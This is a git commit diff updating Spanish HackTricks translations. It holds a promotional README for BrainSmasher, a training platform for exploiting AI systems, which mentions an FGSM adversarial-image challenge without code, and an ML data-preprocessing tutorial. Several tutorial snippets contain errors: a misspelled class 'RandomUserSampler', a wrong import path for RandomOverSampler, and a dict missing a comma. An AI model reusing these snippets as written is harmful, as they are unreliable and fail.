Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a.

This commit is contained in:
Translator 2024-02-04 16:24:48 +00:00
parent ac24da9dd9
commit 6e8e8a833d
39 changed files with 1885 additions and 3055 deletions

View file

@ -1,48 +1,48 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
# Presentación # Presentación
**BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad en A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios especialmente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes en conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc... **BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad de A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios específicamente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes en conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc.
Cada mes se publicará un laboratorio sobre diversos temas encontrados en aplicaciones comerciales de A.I., con **3 diferentes niveles de dificultad** (denominados desafíos), con el fin de **guiar** al usuario en la **comprensión** de toda la mecánica detrás de ello y practicar **diferentes** formas de **explotación**. Cada mes se publicará un laboratorio sobre varios temas encontrados en aplicaciones comerciales de A.I., con **3 dificultades diferentes** (llamadas desafíos), con el fin de **guiar** al usuario en **comprender** todos los mecanismos detrás de ello y practicar **diferentes** formas de **explotación**.
Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de **mayor dificultad para los laboratorios no tengan métodos de explotación conocidos públicamente**, por lo que depende de ti encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de **ciberseguridad "estándar"** con ataques adversarios de **aprendizaje automático** ;) Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de mayor dificultad para los laboratorios no tengan algunas formas de explotación públicamente conocidas, por lo que depende de ti encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de ciberseguridad "**estándar**" con ataques adversariales de **aprendizaje** **automático** ;)
La plataforma, que ahora está en versión **beta**, también contará en el futuro próximo con competiciones **pagadas**, publicación de **ofertas de trabajo**, sistema de **clasificación**, **tutoriales** sobre varios temas de explotación de A.I., la posibilidad de **ganar** **dinero** **proponiendo** laboratorios personales o diferentes desafíos, para aplicaciones de laboratorio de A.I. ya existentes, para ser utilizados por la comunidad y también proponer modificaciones a desafíos ya existentes con el fin de aumentar su robustez frente a los diversos ataques. La plataforma, que actualmente se encuentra en versión **beta**, también contará en un futuro próximo con competiciones **pagas**, publicación de **ofertas de trabajo**, sistema de **ranking**, tutoriales sobre varios temas de explotación de A.I., la posibilidad de **ganar dinero** proponiendo laboratorios personales o diferentes desafíos, para aplicaciones de laboratorios de A.I. ya existentes, para ser utilizados por la comunidad y también proponer modificaciones a desafíos ya existentes para aumentar su robustez frente a varios ataques.
Todo el **material y las técnicas para la explotación de A.I. se publicarán aquí** en una sección dedicada de hacktricks. Todo el **material y las técnicas para la explotación de A.I. se publicarán aquí** en una sección dedicada de hacktricks.
**Mientras** estamos en versión **beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\ **Mientras** estamos en **versión beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\
**Así que comienza a aprender cómo explotar A.I. gratis mientras puedas en** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\ **Así que comienza a aprender cómo explotar A.I. de forma gratuita mientras puedas en** [**Sitio web de BrA.I.Smasher**](https://beta.brainsmasher.eu)\
DISFRUTA ;) ¡DISFRUTA ;)
_Un gran agradecimiento a Hacktricks y Carlos Polop por darnos esta oportunidad_ _Un gran agradecimiento a Hacktricks y Carlos Polop por brindarnos esta oportunidad_
> _Walter Miele de BrA.I.nsmasher_ > _Walter Miele de BrA.I.nsmasher_
# Desafío de Registro # Desafío de Registro
Para registrarte en [**BrA.I.Smasher** ](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\ Para registrarte en [**BrA.I.Smasher** ](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\
Solo piensa cómo puedes confundir una red neuronal sin confundir a la otra sabiendo que una detecta mejor el panda mientras que la otra es peor... Solo piensa cómo puedes confundir a una red neuronal sin confundir a la otra sabiendo que una detecta mejor al panda mientras que la otra es peor...
{% hint style="info" %} {% hint style="info" %}
Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
{% endhint %} {% endhint %}
Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **impresionante** ya que aprenderás cómo superar el desafío realizando un **Ataque de Imagen Adversaria con un Método de Gradiente Firmado Rápido (FGSM) para imágenes.** Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **increíble** ya que aprenderás cómo pasar el desafío realizando un **Ataque de Método Firmado de Gradiente Rápido (FGSM) en imágenes**.
# Más Tutoriales # Más Tutoriales
@ -53,14 +53,14 @@ Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero es
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -1,38 +1,38 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
# Tipos básicos de datos posibles # Tipos básicos de datos posibles
Los datos pueden ser **continuos** (**infinitos** valores) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**. Los datos pueden ser **continuos** (valores **infinitos**) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**.
## Tipos categóricos ## Tipos categóricos
### Binario ### Binario
Solo **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "True" y "False") puedes asignar números a esos valores con: Solo **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "Verdadero" y "Falso") asignas números a esos valores con:
```python ```python
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
``` ```
### **Ordinal** ### **Ordinal**
Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas (como: "principiante", "aficionado", "profesional", "experto") puedes mapearlas a números como vimos en el caso binario. Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas de texto (como: "principiante", "amateur", "profesional", "experto") puedes mapearlos a números como vimos en el caso binario.
```python ```python
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3} column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
dataset['column2'] = dataset.column2.map(column2_mapping) dataset['column2'] = dataset.column2.map(column2_mapping)
``` ```
* Para **columnas alfabéticas** puedes ordenarlas más fácilmente: * Para las **columnas alfabéticas** puedes ordenarlas más fácilmente:
```python ```python
# First get all the uniq values alphabetically sorted # First get all the uniq values alphabetically sorted
possible_values_sorted = dataset.column2.sort_values().unique().tolist() possible_values_sorted = dataset.column2.sort_values().unique().tolist()
@ -42,18 +42,18 @@ dataset['column2'] = dataset.column2.map(possible_values_mapping)
``` ```
### **Cíclico** ### **Cíclico**
Parece **como valor ordinal** porque hay un orden, pero no significa que uno sea mayor que el otro. Además, la **distancia entre ellos depende de la dirección** en la que estés contando. Ejemplo: Los días de la semana, el domingo no es "mayor" que el lunes. Parece **un valor ordinal** porque hay un orden, pero no significa que uno sea más grande que el otro. Además, la **distancia entre ellos depende de la dirección** en la que se cuentan. Ejemplo: Los días de la semana, el domingo no es "más grande" que el lunes.
* Hay **diferentes maneras** de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. **En general, se puede usar la codificación dummy** * Hay **diferentes formas** de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. **En general, se puede utilizar la codificación dummy**.
```python ```python
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
``` ```
### **Fechas** ### **Fechas**
Las fechas son **variables** **continuas**. Pueden considerarse **cíclicas** (porque se repiten) **o** como variables **ordinales** (porque un momento es mayor que el anterior). Las fechas son **variables** **continuas**. Pueden ser vistas como **cíclicas** (porque se repiten) **o** como variables **ordinales** (porque un tiempo es mayor que otro anterior).
* Generalmente las fechas se utilizan como **índice** * Usualmente las fechas se utilizan como **índice**.
```python ```python
# Transform dates to datetime # Transform dates to datetime
dataset["column_date"] = pd.to_datetime(dataset.column_date) dataset["column_date"] = pd.to_datetime(dataset.column_date)
@ -83,24 +83,24 @@ dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
``` ```
### Multi-categoría/nominal ### Multi-categoría/nominal
**Más de 2 categorías** sin un orden relacionado. Usa `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica. **Más de 2 categorías** sin un orden relacionado. Utiliza `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica.
* Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre) pero la mayoría será único. Estos datos son **inútiles y deben eliminarse**. * Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre) pero la mayoría será único. Estos datos son **inútiles y deben ser eliminados**.
* Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso los elementos son únicos. Estos datos son **inútiles y deben eliminarse**. * Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso, los elementos son únicos. Estos datos son **inútiles y deben ser eliminados**.
Para **codificar columnas de multi-categoría en números** (para que el algoritmo de ML las entienda), se utiliza la **codificación dummy** (y **no la codificación one-hot** porque **no evita la multicolinealidad perfecta**). Para **codificar columnas de múltiples categorías en números** (para que el algoritmo de ML las entienda), se utiliza **codificación dummy** (y **no codificación one-hot** porque **no evita la multicolinealidad perfecta**).
Puedes obtener una **columna de multi-categoría codificada en one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible** y asignará 1 **valor verdadero a una columna**, y el resto serán falsos. Puedes obtener una **columna de múltiples categorías codificada en one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, creando **una nueva columna por cada clase posible** y asignará un valor de 1 **verdadero a una columna**, y el resto será falso.
Puedes obtener una **columna de multi-categoría codificada en dummy** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas. Puedes obtener una **columna de múltiples categorías codificada en dummies** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, creando **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas.
# Colineal/Multicolinealidad # Colineal/Multicolinealidad
La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando son más de 2. La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando hay más de 2.
En ML **quieres que tus características estén relacionadas con los posibles resultados pero no quieres que estén relacionadas entre ellas**. Por eso la **codificación dummy mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no hace eso creando una relación clara entre todas las nuevas características de la columna de multi-categoría. En ML **quieres que tus características estén relacionadas con los posibles resultados pero no quieres que estén relacionadas entre sí**. Por eso la **codificación dummy mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no hace eso creando una clara relación entre todas las nuevas características de la columna de múltiples categorías.
VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **por encima de 5 significa que una de las dos o más características colineales debe eliminarse**. VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **superior a 5 significa que una de las dos o más características colineales debe ser eliminada**.
```python ```python
from statsmodels.stats.outliers_influence import variance_inflation_factor from statsmodels.stats.outliers_influence import variance_inflation_factor
from statsmodels.tools.tools import add_constant from statsmodels.tools.tools import add_constant
@ -123,9 +123,9 @@ print(dataset.target_column.value_counts())
``` ```
En un desequilibrio siempre hay una **clase o clases mayoritarias** y una **clase o clases minoritarias**. En un desequilibrio siempre hay una **clase o clases mayoritarias** y una **clase o clases minoritarias**.
Hay 2 maneras principales de solucionar este problema: Hay 2 formas principales de solucionar este problema:
* **Undersampling**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria. * **Submuestreo**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria.
```python ```python
from imblearn.under_sampling import RandomUnderSampler from imblearn.under_sampling import RandomUnderSampler
rus = RandomUserSampler(random_state=1337) rus = RandomUserSampler(random_state=1337)
@ -136,7 +136,7 @@ y = dataset.target_column
X_under, y_under = rus.fit_resample(X,y) X_under, y_under = rus.fit_resample(X,y)
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
* **Oversampling**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria. * **Sobremuestreo**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria.
```python ```python
from imblearn.under_sampling import RandomOverSampler from imblearn.under_sampling import RandomOverSampler
ros = RandomOverSampler(random_state=1337) ros = RandomOverSampler(random_state=1337)
@ -147,15 +147,15 @@ y = dataset.target_column
X_over, y_over = ros.fit_resample(X,y) X_over, y_over = ros.fit_resample(X,y)
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
Puede utilizar el argumento **`sampling_strategy`** para indicar el **porcentaje** que desea **submuestrear o sobremuestrear** (**por defecto es 1 (100%)**, lo que significa igualar el número de clases minoritarias con las clases mayoritarias) Puedes usar el argumento **`sampling_strategy`** para indicar el **porcentaje** que deseas **submuestrear o sobremuestrear** (**por defecto es 1 (100%)** lo que significa igualar el número de clases minoritarias con las clases mayoritarias)
{% hint style="info" %} {% hint style="info" %}
El submuestreo o sobremuestreo no son perfectos si obtiene estadísticas (con `.describe()`) de los datos sub/sobremuestreados y los compara con los originales, verá **que han cambiado**. Por lo tanto, el sobremuestreo y submuestreo están modificando los datos de entrenamiento. El submuestreo o sobremuestreo no son perfectos, si obtienes estadísticas (con `.describe()`) de los datos sobremuestreados o submuestreados y los comparas con los originales, verás **que han cambiado**. Por lo tanto, el sobremuestreo y submuestreo modifican los datos de entrenamiento.
{% endhint %} {% endhint %}
## Sobremuestreo con SMOTE ## Sobremuestreo SMOTE
**SMOTE** suele ser una **forma más confiable de sobremuestrear los datos**. **SMOTE** es generalmente una **forma más confiable de sobremuestrear los datos**.
```python ```python
from imblearn.over_sampling import SMOTE from imblearn.over_sampling import SMOTE
@ -166,50 +166,50 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
dataset['target_column'] = y_smote dataset['target_column'] = y_smote
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
# Categorías que Ocurren Raramente # Categorías que ocurren raramente
Imagina un conjunto de datos donde una de las clases objetivo **ocurre muy pocas veces**. Imagina un conjunto de datos donde una de las clases objetivo **ocurre muy pocas veces**.
Esto es como el desequilibrio de categorías de la sección anterior, pero la categoría que ocurre raramente lo hace incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **crudos** también podrían usarse aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**. Esto es similar al desequilibrio de categorías de la sección anterior, pero la categoría que ocurre raramente ocurre incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **brutos** también podrían ser utilizados aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**.
## Pesos ## Pesos
En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos obtengan por defecto más importancia al generar el modelo. En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos tengan por defecto más importancia al generar el modelo.
```python ```python
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
model = LogisticRegression(class_weight=weights) model = LogisticRegression(class_weight=weights)
``` ```
Puedes **combinar los pesos con técnicas de sobremuestreo/submuestreo** para intentar mejorar los resultados. Puedes **mezclar los pesos con técnicas de sobre/muestreo** para intentar mejorar los resultados.
## PCA - Análisis de Componentes Principales ## PCA - Análisis de Componentes Principales
Es un método que ayuda a reducir la dimensionalidad de los datos. Va a **combinar diferentes características** para **reducir la cantidad** de ellas generando **características más útiles** (_se necesita menos cálculo_). Es un método que ayuda a reducir la dimensionalidad de los datos. Va a **combinar diferentes características** para **reducir la cantidad** de ellas generando **características más útiles** (_se necesita menos cálculo_).
Las características resultantes no son comprensibles para los humanos, por lo que también **anonimiza los datos**. Las características resultantes no son comprensibles por los humanos, por lo que también **anonimizan los datos**.
# Categorías de Etiquetas Incongruentes # Categorías de Etiquetas Incongruentes
Los datos pueden tener errores por transformaciones fallidas o simplemente por error humano al escribir los datos. Los datos pueden tener errores por transformaciones fallidas o simplemente por error humano al escribir los datos.
Por lo tanto, podrías encontrar la **misma etiqueta con errores ortográficos**, diferente **capitalización**, **abreviaturas** como: _BLUE, Blue, b, bule_. Necesitas corregir estos errores de etiquetas dentro de los datos antes de entrenar el modelo. Por lo tanto, es posible encontrar la **misma etiqueta con errores de ortografía**, diferentes **mayúsculas**, **abreviaturas** como: _AZUL, Azul, a, azul_. Debes corregir estos errores de etiqueta dentro de los datos antes de entrenar el modelo.
Puedes limpiar estos problemas convirtiendo todo a minúsculas y mapeando las etiquetas mal escritas a las correctas. Puedes solucionar estos problemas convirtiendo todo a minúsculas y mapeando las etiquetas mal escritas a las correctas.
